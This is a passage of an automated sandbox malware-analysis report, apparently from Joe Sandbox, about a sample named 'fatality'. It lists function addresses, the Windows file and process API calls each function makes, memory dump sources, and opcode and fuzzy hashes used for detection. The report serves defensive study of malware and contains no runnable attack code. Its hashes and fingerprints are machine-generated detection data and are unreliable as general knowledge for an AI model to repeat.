Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: db921f9f082a7566b03b5a7aa03ddb5efb4056ca758e6d26da822371d8b379ec
Instruction ID: 92a8b0caf772543027e686aea588770d80b3639bdd5a3e24a1fc1bf578b47304
Opcode Fuzzy Hash: db921f9f082a7566b03b5a7aa03ddb5efb4056ca758e6d26da822371d8b379ec
Instruction Fuzzy Hash: 49413FB0905B809ED724DF798885AE6FBE5FF19310F504A2EE5FE83281C7316654CB20

Function 052566F9 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

RtlExitUserProcess.NTDLL(?,77E8F3B0,000000FF), ref: 05256708

Memory Dump Source

Source File: 00000000.00000002.2056870207.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5250000_fatality.jbxd

Similarity

API ID: ExitProcessUser
String ID:
API String ID: 3902816426-0
Opcode ID: 074a540362b7bcb0a1215722ec7a442ef9ddde77df610534b8dfe348269c24b6
Instruction ID: 7b05ac4e2a0c1cf201e0e93062442e5a28912a31ff9526828c5a3db303807928
Opcode Fuzzy Hash: 074a540362b7bcb0a1215722ec7a442ef9ddde77df610534b8dfe348269c24b6
Instruction Fuzzy Hash: EC3118B2D1060CEFDB00DFD1C944BDEBBB9FB54336F20461AE425A6180D7786A088F60

Function 00DFB093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DFB098

Part of subcall function 00DE13DC: __EH_prolog.LIBCMT ref: 00DE13E1

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 128f4f01cfa15ba7dedf7425246314ea029b7f9ed0acaae6312fb836068cbb10
Instruction ID: 90e861aa1d2e47a5927c88e86dec2cd4601707f1c9f6119b5b5273a2cfb7a532
Opcode Fuzzy Hash: 128f4f01cfa15ba7dedf7425246314ea029b7f9ed0acaae6312fb836068cbb10
Instruction Fuzzy Hash: 41316A759002499ACB15EF65C851AFEBBB4AF09300F14849EE409B7282D735AE04CBB1

Function 00DE9DA2 Relevance: 1.6, APIs: 1, Instructions: 83timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?), ref: 00DE9E70

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: b91b93d1122c9a7b2622643343fe4d108940e370b2582dd02d9394881236eb39
Instruction ID: ac5be0775c8bab2a475124269c3e2d745596ccf85b1e3da9a6b2bfad391d34ae
Opcode Fuzzy Hash: b91b93d1122c9a7b2622643343fe4d108940e370b2582dd02d9394881236eb39
Instruction Fuzzy Hash: F521D03224A295EFC714EF76C8A1AABFBE4AF95704F08891CF4C587141D329E90D9B71

Function 00DE966E Relevance: 1.6, APIs: 1, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00DE9F27,?,?,00DE771A), ref: 00DE96E6

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0779821edadc3b7397cfe1dd102d52c20e9215857b03a4a1975002dba085dc09
Instruction ID: 3bbf658b08e3b857b5d96dc98c1b5e22efd22e5a8393c56401cee8d2d43ede4d
Opcode Fuzzy Hash: 0779821edadc3b7397cfe1dd102d52c20e9215857b03a4a1975002dba085dc09
Instruction Fuzzy Hash: 5321CF71100384AFE330AA66CC89BF7B7ECEB49324F044A1EFAD5C21D1C774A8848671

Function 00DE9785 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00000000,?,00000000,-00000858,?,-00000858,00000000,00DE9C22,?,?,00000000,00000800,?), ref: 00DE97AD

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7639ec737557fc8c77ea519868d9ccc75bc77c5eaa6911638122014a52862e0f
Instruction ID: d3a750da6a18d918a799e8a0d2f98d684e3a56c7afad4c85002c302b8d00b631
Opcode Fuzzy Hash: 7639ec737557fc8c77ea519868d9ccc75bc77c5eaa6911638122014a52862e0f
Instruction Fuzzy Hash: 7F11CE30912244EBDF20BF37C854AAEBBA9FF06360F148929F456952A0D770CE48DB71

Function 00DE9E80 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00DE9EC7

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1c2cb3c0fe4c1bb5b6e7682f38459c39489cb43573997d9055f7e12e2f508b60
Instruction ID: 7f67a052266c8274f808a46c143c5db06af3ecfab548266353880778402370e3
Opcode Fuzzy Hash: 1c2cb3c0fe4c1bb5b6e7682f38459c39489cb43573997d9055f7e12e2f508b60
Instruction Fuzzy Hash: 55112530602740ABD734E63ACC51BAAF3E8AB44760F544A29F652E26D0E3B0ED49C770

Function 00DEA2B2 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00DEC27E: _wcslen.LIBCMT ref: 00DEC284

CreateDirectoryW.KERNELBASE(00000001,00000000,00000001,?,?,00DEA175,?,00000001,00000000,?,?), ref: 00DEA2D9

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: CreateDirectory_wcslen
String ID:
API String ID: 2011010700-0
Opcode ID: 8da87d2a5b6a0296baf5291bab5df52016ba15fa79b1cec8636095735565bf61
Instruction ID: 6ce2c615ce5a361a8785fda5b6dcde9c0b4c904e39f5f53c4d5b12e5c8db22f4
Opcode Fuzzy Hash: 8da87d2a5b6a0296baf5291bab5df52016ba15fa79b1cec8636095735565bf61
Instruction Fuzzy Hash: 8301D831200296AAEF21BBBB4C09BFD3388DF0A780F088415F941E6092D754EA81C6B6

Function 00DFF4E7 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMT ref: 00DFF530

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: f2e0224e0e726d32e4aa3d82ddd5216a9d94b50dd166366a6b3fe3b62ed2f5eb
Instruction ID: 0ce49f79701ee1246663aa46a8db197c498127c85b03406d7db756cf3a3e93b4
Opcode Fuzzy Hash: f2e0224e0e726d32e4aa3d82ddd5216a9d94b50dd166366a6b3fe3b62ed2f5eb
Instruction Fuzzy Hash: FD01253164438E9EDF24AFA4D8027FD77A0DF01325F2581B9E7407B6D2CA2059458774

Function 00DE9215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE921A

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: afd14b9ba989ed73e49feb366239955cc36b5f9cf70e5bda64fa928fd91c1049
Instruction ID: ceb720864ddfecfcd29edb0dfd43979fc940db7a6481b606612ba8f5cfafc716
Opcode Fuzzy Hash: afd14b9ba989ed73e49feb366239955cc36b5f9cf70e5bda64fa928fd91c1049
Instruction Fuzzy Hash: 2201A5339015A8ABCF11BBA9CC919DEB736FF88750F054115F916B7112DA348D00C6B4

Function 00E08E54 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E08E75

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 05415af416a40baccb396580cfde6191489eb57f717e2a4dc840883a44b4b73e
Instruction ID: 5c41b1cd256322ddc279dbdb5150f64593a82922160e34673eab906836d0d8aa
Opcode Fuzzy Hash: 05415af416a40baccb396580cfde6191489eb57f717e2a4dc840883a44b4b73e
Instruction Fuzzy Hash: 6AF0FC32601102AADB212A25DE04BAF37A88F91770F256115F9D8761D1DF70DDC281A0

Function 00DE5ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE5AC2

Part of subcall function 00DEB505: __EH_prolog.LIBCMT ref: 00DEB50A

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: dfc02d8a5c8e1177de8128a8d8358b6174f6b3ce4380f8427df02985e4b5a253
Instruction ID: 5a5f062105d06cdaf01621ce87344e1e494808b9b7ec4613cc1e6752ee43df43
Opcode Fuzzy Hash: dfc02d8a5c8e1177de8128a8d8358b6174f6b3ce4380f8427df02985e4b5a253
Instruction Fuzzy Hash: 6C018C308106D8DAD725E7B8C0517EDFBA8DF64304F51848EA55AA3383CBB42B08D7B2

Function 00DEA4ED Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000001,00000000,00000001,?,00DEA325,00000001,00DE70E6,?,00DEA175,?,00000001,00000000,?,?), ref: 00DEA501

Part of subcall function 00DEBB03: _wcslen.LIBCMT ref: 00DEBB27

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: AttributesFile_wcslen
String ID:
API String ID: 2048169685-0
Opcode ID: 826c3b04781a4d6e4af2c412a36a9df615b08f018a0e1fdee81b4f63bc144d40
Instruction ID: 93600c41054fa88431c137e0faf32f581a925e4038ac079edf7d24e7da742903
Opcode Fuzzy Hash: 826c3b04781a4d6e4af2c412a36a9df615b08f018a0e1fdee81b4f63bc144d40
Instruction Fuzzy Hash: 3CF0E53120024ABBDF026F61DC01FDA3BACAF08385F488451B944E5160DB31DBD8DB70

Function 00DEA1E0 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,00DE977F,?,?,00DE95CF,00000000,00E12641,000000FF), ref: 00DEA1F1

Part of subcall function 00DEBB03: _wcslen.LIBCMT ref: 00DEBB27

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: DeleteFile_wcslen
String ID:
API String ID: 3339486230-0
Opcode ID: b2d56ddf0269e8ed028ac0f923f8be59568cf4d4521a5c5da563be8329cdba76
Instruction ID: c12ffe9f102fa70f5992f4ae4746c5e6bc93bf006ad487e90589b97edc372ffa
Opcode Fuzzy Hash: b2d56ddf0269e8ed028ac0f923f8be59568cf4d4521a5c5da563be8329cdba76
Instruction Fuzzy Hash: 09E092311402496BDB116F66DC45FEA379CAB0C381F488021BA44E2060EB61EE88DA74

Function 00DEA56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00DEA69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000000,?,00DEA592,000000FF,?,?), ref: 00DEA6C4
Part of subcall function 00DEA69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,00DEA592,000000FF,?,?), ref: 00DEA6F2

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00DEA598

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Find$FileFirst$Close
String ID:
API String ID: 2810966245-0
Opcode ID: b352a4ae98fb25031dec87e8cd840f0b3ee83e6d135f718525b1c99eda66b682
Instruction ID: e2d3bbfbf0c0e3b1eefee61210e4fca51763ddd2a9a182a2933e8e329751e1a9
